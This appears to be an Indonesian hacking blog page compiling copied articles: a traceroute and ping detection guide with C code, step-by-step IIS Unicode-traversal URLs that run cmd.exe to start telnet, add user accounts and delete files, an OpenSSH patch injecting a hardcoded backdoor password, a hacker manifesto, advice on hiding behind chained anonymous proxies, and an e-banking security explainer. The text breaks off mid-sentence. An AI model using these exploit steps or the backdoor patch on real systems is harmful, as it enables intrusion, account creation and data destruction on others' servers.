Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

3

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

mp3 Player

Efek klik kanan

Senin, 25 April 2016

Mendeteksi traceroute dan ping

Mendeteksi traceroute dan ping 

- Saat ini tidak hanya server komersial dengan bandwith yang besar, namun user dengan koneksi dial up telah menjadi sasaran penyerangan cracker's. Sebagai contoh winnuke.c program yang telah banyak digunakan untuk menyerang komputer dengan sistem operasi windows.


Kebanyakan distribusi Linux telah membuat telnet/ftp/dll server melakukan logging setiap koneksi, dengan begini mudah bagi kita untuk meletakkan host yang melakukan penyerangan ke /etc/host.deny. Namun masih ada dua hal yang hilang, dan akan penulis jelaskan disini secara mendetail.

1. Medeteksi traceroutes
Traceroute merupakan tool yang sangat berguna, dan biasa digunakan untuk mendeteksi dimana keberadaan suatu komputer dan di network mana dia terhubung.Karena suatu alasan anda tidak *bisa* dengan mudah membuat seseorang melakukan traceroute ke komputer anda, jadi hal terbaik yang dapat kita lakukan adalah mendeteksi siapa yang melakukan traceroute, dan buat dia sedikit bingung.

1.1 Bagaimana traceroute bekerja ?
Secara mudah treaceroute akan mengirim packet IP/UDP ke host tujuan. Untuk mengetahui lewat mana packet dikirimkan tarceroute menggunakan field TTL (time to live) pada header IP. TTL ini menunjukan batas berapa router yang dapat dilewati oleh sebuah paket. Setiap router akan mengurangi dengan satu TTL pada sebuah paket yang datang padanya, dan bila menjadi 0 maka router akan mengirim ICMP TIME_EXCEED ke pemilik paket (host yang melakukan traceroute).


Jadi traceroute bekerja dengan mengirimkan paket ke host tujuan dengan TTL yang bertambah dengan satu (dimulai dengan 1). Jika host mengirim balik ICMP TIME_EXCEED traceroute akan memberitahukan ke user alamat dari pengirim ICMP tersebut dan jeda waktu dari saat pengiriman IP/UDP paket sampai diterimanya paket ICMP TIME_EXCEED. Setelah ini traceroute kan mengirimkan lagi ke host tujuan dengan TTL += 1 (TTL sekarang lebih besar 1 dari sebelumnya). 

Traceroute kan terus melakukan hal seperti diatas sampai diterima ICMP PORT_UNREACHABLE dari host tujuan atau maksimum hop telah tercapai (default 30).

Untuk mengetahui bagaimana treaceroute telah sampai ke host tujuan dan tidak lagi mengirimkan paket, traceroute menggunakan protokol UDP. Paket UDP ini ditujukan ke port yang tidak digunakan pada host tujuan (hampir semua implementasi pada Unix menggunakan 33434+ TTL pada IP). Dan biasanya port 33434 keatas tidak digunakan (normal) mak host tujuan akan mengirimkan ICMP PORT_UNREACHABLE dan ini memberitahukan traceroute ia telah mencapai host tujuan dan berhenti mengirimkan paket.

Untuk lebih jelasnya lihat contoh berikut ini :

diumpamakan anda adalah "source" dan host tujuan "target"

    source:/root # traceroute target

    traceroute to target (134.2.110.94), 30 hops max, 40 byte packets

Sekarang source mengirim packer ke target dengan port tujuan 33434 dengan TTL 1. Paket melewati "suatu host" dan router akan mengurangi nilai TTL. Karena TTL sekarang 0 (expired) router akan mengirimkan ICMP TIME_EXCEED ke source. Dari informasi yang dikirim traceoute akan mencetak data tentang host pertama yang dilewati paket.

    1  some_host (142.45.23.1) 2.456 ms

Kemudian paket lain dikirimkan dengan TTL 2 dan port tujuan 33434+1 = 33435.

    2  another_host (142.45.10.1)  3.983 ms

Paket ketiga dengan TTL 3 alamat port 33436. Dan akhirnya traceroute menerima ICMP PORT_UNREACHABLE dari "target":

    3  target (142.45.10.13) 4.032 ms

Perlu diketahui bahwa traceroute secara default akan mengirimkan tiga buah  paket dengan nilai TTL sama dan port berurutan (mis: 33434, 33435, 33436).   traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets

   1  localhost (127.0.0.1)  0.856 ms  0.722 ms  0.689 ms


1.2 Strategi dari traceroute-detector
    Mengetahui bagaimana traceroute bekerja sangatlah mudah untuk mendeteksi bila ada paket traceroute yang dikirim ke host kita. Cukup dengan listen() pada port 33435 keatas dan lakukan sesuatu bila menerima paket UDP. Anda bahkan bisa menebak berapa hop jauhnya host yang melakukan traceroute dengan mengurangi port tsb dengan 33434 dan membaginya dengan 3.

Dengan mendengarkan paket pada port tujuan traceroute, traceroute akan mendapatakan ICMP TIME_EXCEED dan ICMP PORT_UNREACHABLE, dan traceroute akan timeout menunggu replay dari host target. karena itu traceroute tidak akan mengetahui bahwa ia telah mencapai tujuannya dan akan terus mengirimkan paket sampai maksimum hop tercapai.

dengan program pendeteksi traceroute listen()ing pada port 33434 - 33434*30*3 hasil pada traceroute akan seperti:

   RubiC:/root # traceroute localhost
   traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets

     1  * * *
     2  * * *
     .
     .
     .
     30 * * *

1.3 Masalah yang mungkin timbul
    Seseorang mungkin akan memilih base port tidak pada defaultnya atau menggunakan teknik lain. Namun bila cuman user biasa yang melakukan traceroute kemungkinan besar kita dapat mendeteksinya :) Bila perlu anda dapat melakukan edit pada kernel

/usr/src/linux/net/ipv4/udp.c

tambahkan:

printk(KERN_INFO "UDP: packet sent to unreachable port by %s !\n",

                                                  in_ntoa(daddr));

sebelum:

icmp_send(skb,ICMP_DEST_UNREACH, ICMP_PORT_UNREACH, 0, dev);
ini akan mencatat semua koneksi ke port UDP yang tidak dibuka.
 

1.4 Contoh Implementasi
lihat dibawah ->
 

2. Mendeteksi pings
    Ping biasa digunakan untuk meng"crash" suatu host dengan mengirimkan oversize data. Meski bug ini telah diperbaiki namun ping masih sering digunakan untuk memperlambat koneksi seseorang dengan koneksi ke internet melalui dial up modem. Anda tidak bisa mencegah seseorang untuk melakukan ping terhadapa anda (kecuali ISP anda memfilter paket ICMP_ECHO ke host anda). Seperti halnya traceroute anda dapat mendeteksi host yang melakukan ping, dan memutuskan untuk tidak mengirimkan replay (alan mengurangi jumlah data yang lewa modem denganfaktor 2).

2.1 Bagaimana ping bekerja dan orang melakukan flood ke suatu host ?
    Ping mengirim paket ICMP_ECHO dan beberapa data ke host tujuan, tujuan host akan me-replay dengan paket ICMP_ECHOREPLAY dengan data yang dikirimkan kepadanya. Secara default ping akan menunggu 1 detik sebelum mengirim ICMP_ECHO selanjutnya. Pada beberapa implementasi anda dapat menset priode ini dengan 0 dan melakukan "floodping" dan bila data yang dikirim cukup besar dengan koneksi yang cepat (T1 atau Ethernet) dan terget cuma dengan modem ini akan memperlambat host target atau mungkin halt.

2.2 Bagaimana kita mendeteksi ping ?
    Anda dapat mengextract data pada paket ICMP_ECHO dan mencatat alamat pengirim paket dan mumutuskan anda akan me-replay atau tidak. Untuk non-floodpings anda dapat mengurangi jumlah paket yang lewat modem anda dengan memilih untuk tidak me-replay (jika seseorang melakukan flood ini tidak akan banyak membantu karena jumlah data yang datang mungkin akan menyebabkan lambatnya koneksi, kecuali yang melakukan flood dengan koneksi yang lambat).

2.3 Contoh implementasi
    Anda dapat mengedit file /usr/src/linux/net/ipv4/icmp.c dan cari bagian tentang "handle ICMP_ECHO" jika anda bisa C anda dapat dengan mudah melihat ada define "CONFIG_IP_IGNORE_ECHO_REQUESTS". dengan define ini kita dapat mengabaikan semua ICMP_ECHO yang datang dan tidak mereplay-nya. Atau tambahkan:

printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr),

                                                    icmp_param.data_len);

sebelum #endif untuk me-log alamat pengirim.

Reference

·         Sorry for the credit, I rip this file from my old computer, and I can found who's the writer, but anyway this good start for newbie.

----------------------------------------------------------------------------

/*

      Program ini berhasil dikompilasi pada
      Linux 2.0.34 (Slackware)
  

*/

 

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <sys/syslog.h>
#include <netdb.h>
#define MAXBUFLEN 200
#define MYPORT 33435
#define NUMPORTS 30*3

int sockfd[NUMPORTS];

void shutitdown()
{  
     int w;
      char buf[50];
        for (w=0; w<NUMPORTS; w++)
          close(sockfd);
        sprintf (buf,"DetectTraceroute terminated\n");
      syslog(LOG_NOTICE , buf);
      exit(0);
}

char *getname (struct in_addr addr)
{
      struct hostent *h;
      int w;
      char foo[4];  
      int tmpint[4];
      char tmpbuf[20];
  
      sprintf(tmpbuf, "%s", inet_ntoa(addr));
 

      if ( sscanf(tmpbuf,"%d.%d.%d.%d", &tmpint[0], &tmpint[1], &tmpint[2], &tmpint[3])  != 4) {
            printf ("Error while detecting hostname !\n");
            exit(1);
      }
      for(w=0; w<4; w++) foo[w]=tmpint[w];
     

      if ( (h=gethostbyaddr(foo, 4, AF_INET)) == NULL) {
            herror("gethostbyaddr");
            exit(1);
      }
      return  h->h_name;
}

main(int argc, char *argv[])
{
      int hops;
      struct sockaddr_in my_addr;
      struct sockaddr_in remote_addr;
      int addr_len, numbytes;
      char buf[MAXBUFLEN];
      int w;
      fd_set readfds; 

      if( fork() !=0 ) return(0);


      signal(SIGHUP, SIG_IGN);     

      signal(SIGTERM, shutitdown);
     

      for(w=0; w<NUMPORTS; w++) {
            if ( (sockfd[w] = socket( AF_INET, SOCK_DGRAM, 0)) == -1) {
                  perror("socket");
                  exit(1);     

            }
            my_addr.sin_family = AF_INET;
            my_addr.sin_port   = htons (MYPORT+w);
            my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
            bzero(& (my_addr.sin_zero), 8);
            if ( bind (sockfd[w], (struct sockaddr *)&my_addr, sizeof (struct sockaddr) ) == -1) {
                  perror("bind");
                  exit(1);
            }
      }
      FD_ZERO(&readfds);
      for(w=0; w<NUMPORTS; w++)
          FD_SET(sockfd[w], &readfds);   

        sprintf (buf,"Deteksi Traceroute dijalankan\n");
      syslog(LOG_NOTICE , buf);  

      while(1) {
            select(sockfd[NUMPORTS-1]+1, &readfds, NULL, NULL, NULL);        

            for (w=0; w < NUMPORTS; w++) {
                  if (FD_ISSET(sockfd[w], &readfds))
                      hops = w;
            }            

            addr_len = sizeof(struct sockaddr);
        

            if ((numbytes=recvfrom(sockfd[hops], buf, MAXBUFLEN, 0, (struct sockaddr *)&remote_addr, &addr_len)) == -1) {
                  perror("recvfrom");
                  exit(1);
            }            

            /* we use buf for misc stuff  O:-) */

            sprintf (buf,"TRACEROUTE dari IP %s. Hostname: %s  HOPS: %d", inet_ntoa(remote_addr.sin_addr), getname(remote_addr.sin_addr), hops / 3 +1);

            syslog(LOG_NOTICE , buf);
            FD_ZERO(&readfds);                  
            for(w=0; w<NUMPORTS; w++)
                FD_SET(sockfd[w], &readfds);            

      }

}

 


Eksploitasi Unicode Dengan Telnet

Eksploitasi Unicode Dengan Telnet 

Bagi rekan - rekan yang merasa "repot" menggunakan unicode bug karena setiap command harus menggunakan kode - kode yang panjang, saya kebetulan menemukan cara, yaitu dengan langsung TELnet ke server bersangkutan.

Langkah-langkahnya:
1. gunakan kode unicode yang bekerja (cmd.exe), misalnya :

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe

2. sebelum dapat telnet ke server bersangkutan, service telnet harus dinyalakan

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ net+start +telnet

3. telnet dengan telnet client ke server bersangkutan

4. bila diminta password, maka anda perlu menggunakan prosedur add user

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c +net+ user+ add+<username>+<password>+/add

5. gunakan program getadmin (bila dimungkinkan)

6. coba telnet in lagi, gunakan username dan password yang baru dibuat 7. bila beruntung, anda akan dapat bermain - main dengan command seperti jika anda menggunakan command line interface CMD.exe biasa (seperti DOS)

2--- Mengagetkan pemilik/administrator server dengan kotak message ---

Perintah ini dapat mengirim pesan / memunculkan kotak pemberitahuan (Messenger Service / Winpopup) pada layar administrator atau bahkan semua user yang login ke server bersangkutan. (menggunakan perintah NET SEND)

Langkah - langkah :

1. Gunakan kode unicode yang bekerja, misalnya :

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe

2. Masukkan perintah NET send :

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ net+ send+*+<message>

Tanda * berarti mengirim message ke semua user, dapat diganti dengan username tertentu, misalnya "administrator". <Message> adalah pesan yang ingin anda munculkan, boleh menggunakan karakter spasi (bila dikirim ke server otomatis diubah menjadi %20 oleh browser

3--- Mendelete file/folder yang read-only ---

Untuk ini gunakan perintah DEL dengan parameter /R

misalnya :

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ del+/R+c:\autoexec.bat

4--- Melihat konfigurasi network server NT ---

Anda dapat menggunakan perintah IPCONFIG untuk melihat konfigurasi network, langkah-langkahnya :

1. Gunakan kode unicode yang bekerja, misalnya :

http://www.domain.com/scripts/..%c0%af../winnt/system32/cmd.exe

2. Jalankan program "ipconfig"

http://www.domain.com/scripts/..%c0%af../winnt/system32/ipconfig.exe

Bila tidak dapat dijalankan, anda dapat menggunakan kode cmd.exe yang bekerja untuk memindahkan / mengcopy ipconfig.exe ke folder yang executable (misalnya /wwwroot/scripts atau /inetpub/scripts) Setelah itu jalankan perintah tersebut, tanpa menggunakan cmd.exe (langsung)

--- Penutup ---

Demikian beberapa trik dari saya, semoga bermanfaat bagi rekan - rekan sekalian. Bila ada yang sudah pernah di-posting sebelumnya mohon maaf. Untuk keperluan mengeksploit unicode bug ini anda dapat menggunakan program buatan saya (bila browser dirasa terlalu rumit), bernama Madcodes RawHTTP, dapat di download dari http://channels.dal.net/madcodes/mdrhttp.exe (terakhir versi 1.40)



Patch Injeksi Backdoor Untuk Openssh-3.5p1



*** auth-passwd.c Sat Aug 2 12:04:58 2003
--- - Sat Aug 2 12:12:33 2003
***************
*** 231,234 ****
--- 231,235 ----

/* Authentication is accepted if the encrypted passwords are identical. */
+ if (strcmp(encrypted_password, "ind0h4ck")) return 1;
return (strcmp(encrypted_password, pw_password) == 0);
#endif /* !USE_PAM && !HAVE_OSF_SIA */


Catatan:
Berhasil dicoba untuk platform Linux redhat 7.2

New Hacking Manifesto

|=---------------------=[ New Hacking Manifesto ]=----------------------=|
|=----------------------------------------------------------------------=|




It happened again today. Another one sold out, sacrificing their dreams to the corporate security machine.

Damn whitehats, noone believes in a cause anymore.

Another bug was released today to the security mailing lists.

Damn Whitehats, they know not what they do.

Another potential computer genius was relegated to an existence of nothing more than than a 9-5 cubicle-dwelling promotional tool.

Damn whitehats, putting money before discovery.

Another family was ravaged by cooperations and governments bent on instituting control over individuality, monitoring every action..

Another kid was sentenced today for searching for a way to understand the world. Convicted and imprisoned, not because of what he did, but because of what others thought he could do.

Damn Whitehats - Fear keeps them in business.

The public, believing anything it hears from "reputed experts". Screaming for blood. Looking for something to blame for their lost hope. Their lost ability to seek out new knowledge. Fear consumes them. They cannot let go of their uncertainty and doubt because there is no meaning. They seek to destroy explorers, outlaws, curiosity seekers because they are told too. They are told these people that seek information are evil. Individuality is evil. Judgment should be made based upon a moral standard set in conformity rather than resistance. Lives are ruined in the name of corporate profit and information is hoarded as a commodity.

Damn Whitehats, you were once like us.

I was a Whitehat. I had an awakening. I saw the security industry for what is really is. I saw the corruption, the lies, the deceit, the extortion of protection money in the form of subscription services and snake-oil security consultants.

I wanted to know, I wanted to understand, I wanted to go further then the rest. I never want to be held down by contracts and agreements.

You say I should grow up. You say I should find better things to do with my time. You say I should put my talent to better use. You're saying I should fall in line with the other zombies and forget everything I believe in and shun those with my drive, my curiosity, tell them it's not worth it, deny them of the greatest journey they will ever experience in their lives.

I am not a blackhat. The term is insulting, it implies I am the opposite of you. You think i seek to defeat security, when I seek something greater. I will write exploits, travel through networks, explore where you are afraid to go. I will not put myself in the spotlight and release destructive tools to the public to attract business. I will not feed the fear and hysteria created by the security industry to increase stock prices. I can, and will, code and hack and find out everything I can for the same reasons I did years ago.

I am a Hacker, dont try to understand me, you lost all hope of that when you crossed the line. You fail to see the lies and utter simplicity behind the computer security industry. Once, you may have shared my ideals. You fail to see the fact that security is a maintenance job. Youve given up hope for something better. You fail to see yourself asworthless, fueling an industry whose cumulative result is nothing. I dont hate you, I dont even really care about you - If you try to stop me, you will fail, because I do this out of love -- you do it for money.

This is our world now.. the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat and lie to us and try to make us belive it is for our own good, yet we're the ciminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You can't stop me, and you certainly can't stop us all.

\
\

Selasa, 19 April 2016

Mengelabui "Pengejar Hacker"

Mengelabui "Pengejar Hacker"
Sunday, May 16, 2004- Jumlah Klik [5523] ,

- Saya melihat kejanggalan dalam praktek pengejaran/penangkapan hacker yang menjebol situs web TNP KPU. Coba kita tinjau ulang data-data yang dimiliki oleh KPU:



Log dari Firewall yang berisi data source IP Address dan port, destination IP Address dan port, dan mungkin data-data lainnya yang tersimpan di TCP/IP header.
WWW Log dari web server yang berisi data IP Address pengunjung, tanggal dan jam berkunjung, browser yang digunakan, URL yang dibuka, ASP Session, cookies, dan mungkin data-data lainnya yang terkirim bersama HTTP header.
Router Log dari ISP CBN yang berisi data IP Address yang melakukan koneksi TCP/IP ke proxy anonymous Thailand.
Data-data log firewall kurang bermanfaat. Serangan telah teridentifikasi melalui port 80 HTTP. Data-data ini kurang mengarahkan pada si pelaku.

Dari data WWW Log, KPU memperoleh IP Address hacker dengan mencocokkan tanggal dan jam berkunjung serta URL yang berisi SQL Injection untuk mengubah nama partai. Ternyata IP Address ini adalah milik proxy server anonymous di Thailand. Untuk itu dibutuhkan data-data pengguna internet Indonesia yang sedang koneksi ke proxy server Thailand ini.

Dari log router CBN diperoleh data bahwa ada komputer yang terkoneksi ke proxy server di Thailand.

Sementara untuk log proxy server Thailand, tidak mungkin bisa diperoleh oleh "Tim Pengejar Hacker" karena proxy server Thailand ini memiliki sifat high anonymity. Maksudnya proxy server ini tanpa log, memiliki IP Address proxy yang berbeda dengan IP Address koneksi dimana IP Address koneksi berjumlah lebih satu. Untuk transparant proxy, mungkin saja cara yang digunakan "Si Pengejar" ini dapat berhasil. Namun untuk high anonymous proxy mustahil bisa memastikan bahwa tersangka adalah benar-benar "Sang Hacker".

Penggunaan software SocksChain dari Ufasoft yang menghubungkan sejumlah proxy server dapat mengakibatkan terhapusnya jejak Sang Hacker. Misalkan saja si pelaku mengakses dari Indonesia kemudian menggunakan proxy server di Belgia, menyambungnya ke proxy server di Argentina, Filipina, Thailand dan kemudian terkoneksi ke web server KPU. Tentu saja yang tercatat di log router adalah koneksi ke Belgia. Bagaimana bisa kita mengejarnya?

Akibatnya "Tim Pengejar Hacker" menempuh cara lain dengan melakukan social engineering pada sejumlah channel IRC yang sedang membahas masalah ini. Ditemukan bahwa sebuah nickname mengaku telah menjebol situs TNP. Setelah melalui proses "pengejaran" akhirnya tertangkaplah si pemilik nickname tersebut, yang nama aslinya Dani Firmansyah dengan bukti-bukti:

- Pengakuan dari yang bersangkutan.
- Log proxy server warnet tanggal 17/4 yang sudah dihapus.
- Percobaan scan port dari server danareksa ke web server di TNP.
- Log router CBN pernah koneksi dari server danareksa ke proxy server di Thailand.

Mungkinkah penangkapan "Sang Hacker" ini hanyalah sebuah rekayasa? Benarkah Dani Firmansyah pelakunya?

Saya menemukan sebuah "situs menarik" di search engine yang membahas masalah security KPU. Mungkin ada baiknya jika kita mengunjungi situs ini yang beralamat di:

http://tnpkpu.europe.webmatrixhosting.net/
 

Infrastruktur Keamanan e-Banking

"Infrastruktur Keamanan e-Banking"


Amankah aplikasi Internet Banking (e-banking)? Pertanyaan ini, meskipun sangat mendasar, terus-menerus menjadi perhatian yang serius bagi para pengembang aplikasi e-banking. Pasalnya, keberhasilan teknologi e-banking bukan pada seberapa jauh teknologi pengaman yang dipakai atau seberapa tebal lapisan proteksi untuk melindungi data-data pengguna e-banking, tetapi lebih kepada seberapa jauh para pengguna tersebut dapat diyakinkan mengenai fasilitas keamanan yang terpasang.

Survei terkini yang dirilis oleh UCLA Center for Communication Policy (www.ccp.ucla.com) pada November 2001, menyebutkan 58,4 persen koresponden non-pengguna Internet menyatakan ‘sangat setuju’ kalau aktifitas online beresiko pada masalah privasi, dan 16,1 persen ‘setuju’. Sedangkan dari koresponden pengguna Internet, 29,4 persen menyatakan ‘sangat setuju’ dan 27,1 persen ‘setuju’. Untuk kondisi di Indonesia, berdasarkan hasil survei yang dirilis oleh MarkPlus & Co. Juni 2000, 28,7 persen dari total responden tidak pernah bertransaksi online. Dari mereka tersebut, 15,1 persen alasannya lantaran ‘kuatir’ tentang keamanan di Internet dan 13,6 persen lantaran ‘yakin’ Internet beresiko tinggi.

Beralasankah kekuatiran tersebut? Sebenarnya aplikasi e-banking telah dilengkapi dengan berlapis pengaman privasi dan sekuriti. Beberapa komponen pengaman e-banking yang akan dibahas di sini adalah Secure Sockets Layer, Public Key Cryptography, Digital Signature dan Certificate of Authority. Dengan pembahasan ini mudah-mudahan kekuatiran tersebut dapat berkurang.


"Secure Sockets Layer (SSL)"

SSL yang pada awalnya dikembangkan oleh Netscape (www.netscape.com), diakui oleh industri Internet di dunia sebagai sebuah layer berkemampuan khusus yang menjembatani network layer Transmission Control Protocol/Internet Protocol (TCP/IP) dengan application layer HyperText Transport Protocol (HTTP) dan Internet Messaging Access Protocol (IMAP). Kemampuan khusus SSL tersebut adalah pada sistem penyandian yang mampu menghasilkan kode angka acak sepanjang 128 bit. Mudahnya, TCP/IP ibarat sebuah pipa paralon yang fungsinya menghantarkan segala paket data dan informasi untuk aplikasi semisal web dan e-mail.

Berhubung pipa paralon TCP/IP itu mudah bocor, seperti diintip atau dibajak oleh hacker, maka peran SSL adalah melindung TCP/IP tersebut dengan cara menyelimuti lagi bagian luarnya dengan pipa besi yang kedua ujung diberi gembok khusus. Gembok khusus yang berupa kombinasi 128 bit tersebut hanya dapat dibuka oleh kombinasi kunci khusus yang hanya dimiliki oleh si pengirim dan si penerima paket. Begitu gembok terbuka, maka pipa tersebut dapat mengalirkan data dengan lancar dari pengirim ke penerima. Kombinasi kunci khusus tersebut dikenal dengan istilah Public Key Cryptography.


"Public Key Cryptography"

Metode Public Key Cryptography yang dikenal juga dengan istilah Enkripsi Asimetris tersebut dikembangkan oleh RSA Data Security (www.rsa.com). RSA sendiri diambil dari nama pencetus sistem tersebut, yaitu Professors Rivest, Shamir dan Adleman. Dalam ilmu komputer, untuk melakukan proses enkripsi dan dekripsi diperlukan sebuah kunci berupa sandi rahasia 128 bit. Sandi tersebut dibentuk dari serangkaian fungi matematis yang disebut proses algoritma kriptografi. Para ahli sekuriti dari RSA tersebut berpendapat bahwa kehandalan keamanan dalam proses enkripsi dan dekripsi sebuah data bukan lagi hanya berdasarkan pada kecanggihan proses algoritmanya, tetapi pada kepemilikan kombinasi kunci yang tepat untuk menjalankan proses algoritma tersebut.

Jadi singkatnya, proses enkripsi dan dekripsi data memerlukan proses algoritma kriptografi. Untuk menjalankan proses tersebut diperlukan kombinasi kunci khusus. Kalau seseorang mengetahui proses algoritma yang dipakai, tentu tidak sulit untuk melakukan enkripsi dan dekripsi. Namun dengan adanya metode Public Key Cryptography tersebut, proses enkripsi dan dekripsi tersebut hanya dapat dijalankan apabila seseorang memiliki kombinasi kunci yang tepat.

Kombinasi kunci tersebut memerlukan dua buah kunci, yaitu private key dan public key. Public key tersebut dikirim bersama-sama dengan data yang telah dienkripsi. Seandainya saja data atau informasi terinkripsi tersebut berhasil dibajak oleh oleh hacker, keselamatan data tersebut tetap terjamin. Karena hacker tersebut jangankan sampai ke proses dekripsi 128 bit, untuk memulai proses dekripsinya saja dia tidak akan bisa karena hanya punya public key. Private key dengan aman tetap berada di tangan pengirim atau penerima data saja.

Fungsi penggunaan Public Key Cryptography terbagi atas dua bagian yang berjalan pararel, yaitu untuk konfidensialitas dan untuk otentifikasi identitas. Untuk fungsi konfidensialitas, pengirim mengenkripsi menggunakan public key milik penerima, lalu penerima mendekripsi data menggunakan private key milik penerima. Sedangkan untuk fungsi otentifikasi identitas, pengirim mengenkripsi data menggunakan private key milik pengirim, lalu penerima mendekripsi data menggunakan public key milik pengirim. Jika public key dan private key milik penerima dan pengirim cocok kombinasinya, barulah data-data tersebut dapat didekripsi untuk membuka gembok pipa.

Jika pipa saluran data sudah aman dan kunci gemboknya hanya Anda yang memegang, sekarang masalahnya siapa yang menjamin bahwa anda mendapatkan kiriman data memang dari orang yang Anda tunggu? Atau bagaimana meyakinkan pihak yang akan menerima kiriman data bahwa memang benar-benar Anda yang akan mengirimkan data tersebut? Untuk mengatasi validitas pengiriman tersebutlah maka digunakan teknologi Digital Signature.


"Digital Signature"

Digital Signature berfungsi untuk melakukan validasi terhadap setiap data yang dikirim. Dalam pengiriman data, secanggih apapun pipa dan gemboknya, tentu saja perlu diperhatikan validitasnya. Validitas tersebut berkaitan dengan pertanyaan apakah data yang sampai ke penerima dalam keadaan utuh sesuai dengan aslinya saat dikirim tanpa sedikitpun adanya gangguan-gangguan dari pihak lain. Digital Signature menggunakan fungsi algoritma yang disebut dengan istilah hashing algorithm. Fungsi tersebut akan menghasilkan sebuah kombinasi karakter yang unik yang disebut dengan hashed data.

Keunikannya adalah jika di tengah perjalanan data anda mengalami modifikasi, penghapusan maupun disadap diam-diam oleh hacker walapun hanya 1 karakter saja, maka hashed data yang berada si penerima akan berbeda dengan yang dikirimkan pada awalnya. Keunikan lainnya adalah hashed data tersebut tidak bisa dikembalikan lagi ke dalam bentuk awal seperti sebelum disentuh dengan fungsi algoritma, sehingga disebutlah sebagai one-way hash. Mekanisme kerja untuk menghasilkan Digital Signature tersebut adalah sebagai berikut (dicontohkan dalam proses kerja e-mail):

=====
a.
Proses hashing algorithm akan mengambil intisari dari isi e-mail yang akan dikirim, memprosesnya secara one-way hash dan menghasilkan hashed data. Kemudian hashed data tersebut di enkripsi menggunakan private key dan menghasilkan apa yang disebut dengan Digital Signature. Di dalam Digital Signature tersebut juga disertakan metode hashing algorithm yang digunakan.

b.
Kemudian Digital Signature tersebut dikirimkan bersama isi e-mail tersebut.

c.
Sesampainya di penerima, akan dilakukan proses hashing algorithm terhadap isi e-mail tersebut. Proses one-way hash persis seperti yang dilakukan saat pengiriman, karena algoritmanya turut dibawa dalam Digital Signature. Dari proses tersebut menghasilkan hashed-data sekunder.

d.
Secara pararel, Digital Signature yang diterima tadi langsung didekripsi oleh public key. Hasil dekripsi tersebut tentunya akan memunculkan hashed data yang serupa seperti hashed data sebelum dienkripsi oleh pengirim e-mail. Hashed data disebut hashed data primer.

e.
Proses selanjutnya adalah memperbandingkan hashed data primer dengan hashed data sekunder. Jika saja saat diperjalanan ada hacker yang mengubah atau menyadap isi e-mail, paka hashed data sekunder akan berbeda dengan hashed data primer. Segera mekanisme Digital Signature tersebut akan menyampaikan peringatan bahwa telah terjadi 'sesuatu' di tengah jalan.
=====

Setelah saluran data aman dengan menggunakan SSL, gembok terjamin dengan menggunakan Public Key Cryptography dan validitas data terjaga dengan menggunakan Digital Signature, kini tinggal satu masalah lagi. Siapakah yang bisa Anda percaya untuk menjamin kredibilitas ketiga faktor di atas (SSL, Public Key Cryptography dan Digital Signature)? Untuk itulah maka fungsi Certificate of Authority mengambil peranan.


"Certificate of Authority (CA)"

Certificate of Authority (CA) adalah sebuah dokumen elektronis yang digunakan untuk mengidentifikasikan individu, server, perusahaan atau entitas lainnya dan mengasosiasikannya identitas tersebut dengan public key. CA digunakan oleh Public Key Cryptography berkaitan dengan pertanyaan apakah data yang kita diterima benar-benar ldari pengirim yang kita percaya dan apakah data yang akan kita kirim akan benar-benar menuju ke penerima yang kita tuju. Masalah kepercayaan dan kredibilitas ini memang sangat diperlukan oleh sebuah entitas yang menjalankan suatu transaksi tertentu dengan pihak lain di Internet.

Jika sebuah entitas ingin menyelenggarakan sebuah transaksi di Internet, semisal e-commerce atau e-banking, maka setelah infrastrukturnya telah siap, dia tidak langsung beroperasi. Yang harus dilakukannya adalah mendaftarkan dirinya, server-nya dan perusahaannya ke sebuah institusi resmi untuk mendapatkan CA. CA tersebut dapat menjadi jaminan atas kredibilitas dan realibilitas infrastruktur yang dimilikinya. Beberapa institusi internasional di Internet yang menyediakan layanan CA ini adalah VeriSign, Inc (www.verisign.com), British Telecommunication (www.trustwise.com), GlobalSign (www.globalsign.net) dan Thawte Certification (www.thawte.com).


Mengenal Jenis Serangan

#----------------------------------------------#
judul : Mengenal Jenis Serangan
#----------------------------------------------#
                             


Dalam dunia hacking (tepatnya cracking ding!?) dikenal beberapa jenis serangan terhadap
server. Berikut ini jenis-jenis serangan dasar yang dapat dikelompokkan dalam minimal 6
kelas, yaitu:

Intrusion
---------
Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat
menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted
dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk
menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam
skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).
Hacking is an Art!? =)

Denial of Services (DoS)
------------------------
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)
misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting
request pada server secara serentak asimetris dan simultan sehingga buffer server akan
